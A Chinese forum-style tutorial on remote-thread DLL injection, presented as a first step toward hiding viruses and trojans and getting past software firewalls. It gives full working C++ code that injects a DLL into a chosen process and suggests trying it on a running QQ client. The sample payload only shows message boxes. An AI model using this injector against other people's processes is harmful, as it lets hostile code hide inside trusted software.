【文章标题】: DLL文件的注入
【文章作者】: Cracksman
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
我想菜鸟门一定都对编写病毒,和预防病毒非常感兴趣,我也不例外,
所以深入研究了一下有关病毒木马的隐藏和怎样穿越软件防火墙的知识,
说起这些技术,那么远程线程的注入可谓是必修之课。
下面我就把自己学习的远程线程注入的知识分享给大家。
  
  首先我们必须了解的几个API函数
  HANDLE OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId);
  ---用来打开一个已存在的进程对象,并返回进程的句柄。
  LPVOID VirtualAllocEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
  ---用来在目标进程的地址空间申请内存。
  BOOL WINAPI VirtualFreeEx(HANDLE hProcess,LPVOID lpAddress,SIZE_T dwSize,DWORD dwFreeType);
  ---用来释放在目标地址空间申请的内存。
  BOOL WriteProcessMemory(HANDLE hProcess,LPVOID lpBaseAddress,LPVOID lpBuffer,DWORD nSize,LPDWORD lpNumberOfBytesWritten);
  ---用来向目标进程的地址空间写入数据。
  HANDLE WINAPI CreateRemoteThread(HANDLE hProcess,LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
  ---用来在目标进程中创建一个线程。
  HMODULE LoadLibraryA(LPCTSTR lpLibFileName);
  ---用来在目标进程中加载病源体。
  
首先我们来模拟一个简单的病源体(DLL文件)
如下内容
  #include<windows.h>
  #include<tchar.h>
  BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
  {
      switch ( fdwReason )
       {
      case DLL_PROCESS_ATTACH:
           {
               MessageBox( NULL, _T("病源体已成功寄生目标进程"), _T("信息"), MB_ICONINFORMATION );
           }
          break;
      case DLL_PROCESS_DETACH:
           {
               MessageBox( NULL, _T("病源体已成功脱离目标进程"), _T("信息"), MB_ICONINFORMATION );
           }
          break;
       }
      return TRUE;
  }
让后编译生成一个DLL文件,好了简单的病源体模拟就完成了。
  
下面进入重要环节--线程注入
首先我们要找一个目标进程
  #include<stdio.h>
  #include<windows.h>
  #include<tlhelp32.h>
  #include<iostream>
  #include<tchar.h>
  using namespace std;
  void main()
  {
    unsigned int ProcessID;
    PROCESSENTRY32 stPE32;
    stPE32.dwSize=sizeof(stPE32);
    HANDLE hSnapshot=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    bool bMore=(bool)Process32First(hSnapshot,&stPE32);
    while(bMore)
    {
      cout<<stPE32.szExeFile<<" \t "<<stPE32.th32ProcessID<<endl;
      bMore=(bool)Process32Next(hSnapshot,&stPE32);
    }
          //在此我们可以选择一个要注入的进程ID
  }
  这段代码会列出当前系统的所有正在运行的进程名称和进程ID,在这里我们可以选择一个要注入的进程ID
  
  先简单介绍一下我们的实现思路
  要想在目标进程中创建一个线程,我们必须指定一个线程函数地址,这个函数地址必须在目标进程地址空间中有效,
  因为要让目标进程加载我们指定的DLL文件所以我们用LoadLibrary函数做为线程函数,使其将我们指定的DLL加载,
  到目标进程地址空间,但是LoadLibrary函数的参数是一个LPCTSTR类型,也就是指向DLL文件名的指针,如果我们
  直接在本程序中声明一个LPCTSTR的变量指向一个DLL文件名作为参数传给LoadLibrary函数的话,那么肯定是以失败
  告终,因为你想啊LoadLibrary是在目标进程执行的,LPCTSTR变量指向的是本进程DLL文件名的地址,这个地址在目标
  进程中肯定是无效的,所以我们必须把要注入的DLL文件名写如目标进程的地址空间,让后把DLL文件名在目标进程
  地址空间内的地址传给LoadLibrary函数做参数,那么这会我们就大功告成了,光说空话没有用,下面我们来看看怎样
  实现这一功能.
  
  为了优化程序的结构,现在我们先打造一个写目标进程地址空间的函数
  bool WriteMemory(const HANDLE hProcess,const DWORD dwSize,const LPVOID lpRemoteBuf,const LPVOID Data)
  {
    DWORD dwNumberOfBytesWritten;
    if(lpRemoteBuf==NULL)//lpRemoteBuf表示一个指向目标进程地址空间的缓冲区
    {
      return false;//如果lpRemoteBuf等于NULL表示在目标进程地址空间申请内存失败了
    }
    if(WriteProcessMemory(hProcess,lpRemoteBuf,Data,dwSize,&dwNumberOfBytesWritten))//如果申请内存没有失败则想目标进程的缓冲区写入数据
    {
      if(dwSize!=dwNumberOfBytesWritten)//dwSize是要写入的数据大小,dwNumberOfBytesWritten是实际写入的数据大小
      {
                          //如果dwSize不等于dwNumberOfBytesWritten则表示输入写入不完整,同样以失败告终
        VirtualFreeEx(hProcess,lpRemoteBuf,dwSize,MEM_DECOMMIT);
        CloseHandle(hProcess);
        return false;
      }
    }
    else
    {
      CloseHandle(hProcess);
      return false;
    }
    return true;
  }

  突然给出上面这段代码,大家可能有点摸不着头脑,不过没关系,看了下面的代码你就会明白。
  bool ProcessInjection(const unsigned int ProcessID)
  {
          //OpenProcess第一个参数指定要对该进程进行的操作(也就是权限)
          //PROCESS_CREATE_THREAD表示可以在目标进程中创建远程线程,也就是使用CreateRemoteThread的权限;
          //PROCESS_VM_OPERATION表示可以在目标进程中分配/释放内存的权限,也就是使用 VirtualAllocEx/VirtualFreeEx的权限;
          //PROCESS_VM_WRITE表示可以向目标进程的地址空间写入数据,也就是使用 WriteProcessMemory的权限。
    HANDLE hProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,ProcessID);
    LPCTSTR Data=_T("VirusDLL.dll");
    DWORD dwSize;
    dwSize=_tcslen(Data)+1;//计算要在目标进程中申请的内存大小
    LPVOID lpRemoteBuf=VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_READWRITE);//在目标进程中申请内存
          
          //这里就是调用上面我们刚才打造的写目标进程地址空间的函数,为了程序的结构不混乱所以把这部分单独封装成一个函数;
    if(!WriteMemory(hProcess,dwSize,lpRemoteBuf,(LPVOID)Data)) return false;
  
    DWORD dwRemoteThreadHandle;
          //这里有必要说明一写lpRemoteEntryFun是一个LPVOID指针,指向LoadLibraryA函数,但是我现在取的LoadLibraryA函数地址
          //是针对本进程而言的函数地址,对于目标进程而言LoadLibraryA的函数地址可能和我的不一样;
          //这个道理是对的,但是对于有些函数来说,也不完全正确,因为LoadLibraryA位于kernel32.dll之中;
          //而Win32下每个应用程序都会把kernel32.dll加载到进程地址空间中一个固定的地址中;
          //所以在这里LoadLibraryA函数地址在每个应用程序中的地址是一样的;
    LPVOID lpRemoteEntryFun=LoadLibraryA;
          //接下来就是创建一个远程线程,线程的入口函数是LoadLibraryA,参数就是我们已经写入目标进程地址空间的DLL名称
    HANDLE hRemoteThread=CreateRemoteThread(hProcess,NULL,0,(LPTHREAD_START_ROUTINE)lpRemoteEntryFun,lpRemoteBuf,0,&dwRemoteThreadHandle);
    WaitForSingleObject(hRemoteThread,INFINITE);//等待LoadLibraryA执行完毕
    CloseHandle(hRemoteThread);
    CloseHandle(hProcess);
    cout<<"DLL已经成功注入!"<<endl;
    return true;
  }
  
  现在我们把之前的main()函数修改一下,增加一点内容如下
  void main()
  {
    unsigned int ProcessID;
    PROCESSENTRY32 stPE32;
    stPE32.dwSize=sizeof(stPE32);
    HANDLE hSnapshot=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    bool bMore=(bool)Process32First(hSnapshot,&stPE32);
    while(bMore)
    {
      cout<<stPE32.szExeFile<<" \t "<<stPE32.th32ProcessID<<endl;
      bMore=(bool)Process32Next(hSnapshot,&stPE32);
    }
          //在此我们可以选择一个要注入的进程ID
          cout<<"请输入要注入的进程ID:";
    cin>>ProcessID;
    ProcessInjection(ProcessID);
  }
现在已经大功告成了
找个目标做个实验
QQ嘿嘿,就你了首先我们吧我们模拟的一个简单病毒VirusDLL.dll拷贝到QQ.exe所在目录下面
让后运行我们的程序,如果你这开了QQ的话,那么你会在这个进程列表里面找到QQ.exe对应的进程ID
让后输入这个进程ID,回车
呵呵结果如何,自己试了就知道.